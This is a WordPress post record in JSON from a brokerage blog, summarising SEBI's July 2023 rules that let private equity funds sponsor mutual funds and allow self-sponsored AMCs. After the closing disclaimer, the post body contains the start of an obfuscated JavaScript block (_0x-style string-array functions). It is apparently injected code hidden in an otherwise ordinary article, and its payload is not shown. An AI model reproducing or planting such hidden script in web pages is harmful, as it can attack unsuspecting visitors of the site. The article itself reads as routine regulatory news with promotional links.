{"id":4599,"date":"2023-07-10T06:12:01","date_gmt":"2023-07-10T06:12:01","guid":{"rendered":"https:\/\/shoonya.com\/blog\/?p=4599"},"modified":"2023-07-10T06:12:02","modified_gmt":"2023-07-10T06:12:02","slug":"sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs","status":"publish","type":"post","link":"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/","title":{"rendered":"SEBI Issues Framework for PE Funds as Sponsors and Self-Sponsored AMCs"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_87 counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\"><p class=\"ez-toc-title\" style=\"cursor:inherit\"><\/p>\n<\/div><nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#Key_Highlights\" >Key Highlights<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#Empowering_PE_Funds_as_Sponsors\" >Empowering PE Funds as Sponsors<\/a><ul class='ez-toc-list-level-3' ><li class='ez-toc-heading-level-3'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#Framework_Circular_Issued\" >Framework Circular Issued<\/a><\/li><\/ul><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#Key_Rules_for_Sponsor_PEs\" >Key Rules for Sponsor PEs<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-5\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#Self-Sponsored_AMCs_and_Stake_Reduction\" >Self-Sponsored AMCs and Stake Reduction<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-6\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#Disassociation_and_Financial_Investor_Classification\" >Disassociation and Financial Investor Classification<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-7\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#Deployment_of_Liquid_Net_Worth\" >Deployment of Liquid Net Worth<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-8\" href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/#What_Does_This_Mean_for_Indian_Investors-_Safeguards_for_Investor_Protection\" >What Does This Mean for Indian Investors- Safeguards for Investor Protection<\/a><\/li><\/ul><\/nav><\/div>\n\n<p class=\"wp-block-paragraph\">To facilitate the fresh flow of capital into the industry, fostering innovation, encouraging competition, and easing exit for existing sponsors, the Securities and Exchange Board of India (SEBI) has allowed private equity (PE) funds to sponsor mutual fund schemes and has permitted the establishment of self-sponsored asset management companies (AMCs). Currently, mutual fund houses must have a sponsor and be a business in financial services such as banking, stock broking, or housing finance company. SEBI has issued a regulatory framework through a circular dated July 7, which outlines the key rules for mutual fund sponsors. Among the rules is the requirement for a minimum lock-in period of five years for the initial shareholding of the sponsor and the PE in the corporate entity sponsoring the <a href=\"https:\/\/shoonya.com\/blog\/mutual-funds-everything-you-should-know\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">mutual fund<\/mark><\/a>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Highlights\"><\/span><strong>Key Highlights<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<ol class=\"wp-block-list\">\n<li>SEBI allows PE funds to sponsor mutual fund schemes and establish self-sponsored AMCs.<\/li>\n\n\n\n<li>Only PEs with a minimum of five years of experience can sponsor mutual fund houses.<\/li>\n\n\n\n<li>The regulatory framework ensures safeguards to protect investors in PE-owned fund houses.<\/li>\n\n\n\n<li>Mutual fund sponsors can voluntarily reduce their stake and become self-sponsored AMCs.<\/li>\n\n\n\n<li>Disassociated sponsors lead to the classification of shareholders as &#8220;financial investors.&#8221;<\/li>\n\n\n\n<li>AMCs must deploy the minimum net worth required in specified assets, according to SEBI.<\/li>\n<\/ol>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Empowering_PE_Funds_as_Sponsors\"><\/span><strong>Empowering PE Funds as Sponsors<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI&#8217;s new framework mandates that among the pooled investment vehicles, only PEs with a minimum of five years of experience can sponsor a mutual fund house. This move aims to promote competition and consolidation in the industry, enabling PE funds to play a more significant role.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Framework_Circular_Issued\"><\/span><strong>Framework Circular Issued<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI notified the rules for the new setup of sponsors of a Mutual Fund in June, and now the regulatory framework has been issued through a circular dated July 7. This circular provides detailed guidelines for PE funds acting as sponsors and self-sponsored AMCs.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Key_Rules_for_Sponsor_PEs\"><\/span><strong>Key Rules for Sponsor PEs<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">PEs seeking to sponsor mutual funds must meet certain criteria.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">They should have a minimum of five years of experience as a fund or investment manager in the financial sector.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Additionally, they should have managed, committed, and drawn down a minimum capital of Rs 5,000 crore, ensuring their financial stability.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Self-Sponsored_AMCs_and_Stake_Reduction\"><\/span><strong>Self-Sponsored AMCs and Stake Reduction<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Recognising the evolution of the mutual fund industry, SEBI allows a sponsor to voluntarily reduce its stake in an AMC. A fund house can become a self-sponsored AMC if it has been in the financial services business for at least five years, has a positive net worth for the past five years, and maintains an average net annual profit of Rs 10 crore during that period. This flexibility enables AMCs to stand on their own and build trust among investors.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Disassociation_and_Financial_Investor_Classification\"><\/span><strong>Disassociation and Financial Investor Classification<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI outlines the timeline for sponsors looking to disassociate from an AMC, requiring them to reduce shareholding below 10 percent within a specified period. After disassociation, the shareholders become classified as &#8220;financial investors,&#8221; and there is no sponsoring entity for the AMC. This shift ensures transparency and independence in the operations of the self-sponsored AMC.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><em>Know how you can <\/em><a href=\"https:\/\/shoonya.com\/blog\/maximising-portfolio-diversity-with-mutual-funds\/\" target=\"_blank\" rel=\"noreferrer noopener\"><em><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">make a well-defined portfolio using mutual funds in India<\/mark><\/em><\/a><em>.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"Deployment_of_Liquid_Net_Worth\"><\/span><strong>Deployment of Liquid Net Worth<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">SEBI has made a decision stating that Asset Management Companies (AMCs) are required to allocate the minimum net worth in various forms such as cash, money market instruments, Government Securities, Treasury bills, Repo on Government securities, or listed AAA-rated debt securities.&nbsp;<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">It is important to note that these debt securities should not possess bespoke structures, structured obligations, credit enhancements, embedded options, or any other features that could potentially increase the liquidity risk of the instrument over time.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><span class=\"ez-toc-section\" id=\"What_Does_This_Mean_for_Indian_Investors-_Safeguards_for_Investor_Protection\"><\/span><strong>What Does This Mean for Indian Investors- Safeguards for Investor Protection<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">To safeguard the interests of investors in PE-owned fund houses, SEBI has implemented various measures. Off-market transactions between the schemes of the mutual fund and the sponsor PE or its manager are prohibited. Additionally, there can be no off-market transactions between the mutual fund schemes and investee companies of funds of sponsor PE with significant stakes or board representation.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Now, you can invest in mutual funds with a free demat account at zero-brokerage; <a href=\"https:\/\/shoonya.com\/mutual-funds\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">check it out<\/mark><\/a>.<br>Sources: <a href=\"https:\/\/www.moneycontrol.com\/news\/business\/personal-finance\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs-10923691.html\" target=\"_blank\" rel=\"noreferrer noopener nofollow\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">moneycontrol.com<\/mark><\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">______________________________________________________________________________________<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/shoonya.com\/\" target=\"_blank\" rel=\"noreferrer noopener\"><mark style=\"background-color:rgba(0, 0, 0, 0);color:#d79b30\" class=\"has-inline-color\">Disclaimer<\/mark><\/a>: Investments in the securities market are subject to market risks; read all the related documents carefully before investing.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\r\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const 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Currently, mutual fund houses must &hellip; <a href=\"https:\/\/shoonya.com\/blog\/sebi-issues-framework-for-pe-funds-as-sponsors-and-self-sponsored-amcs\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\"> &#8220;SEBI Issues Framework for PE Funds as Sponsors and Self-Sponsored AMCs&#8221;<\/span><\/a><\/p>\n","protected":false},"author":16,"featured_media":4600,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_acf_changed":false,"footnotes":"","_members_access_role":[],"_members_access_error":""},"categories":[1082],"tags":[2197,2195,2196],"class_list":["post-4599","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-latest-news","tag-key-rules-for-sponsor-pes","tag-pe-funds","tag-pe-funds-as-sponsors"],"acf":[],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.4 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>SEBI Empowers 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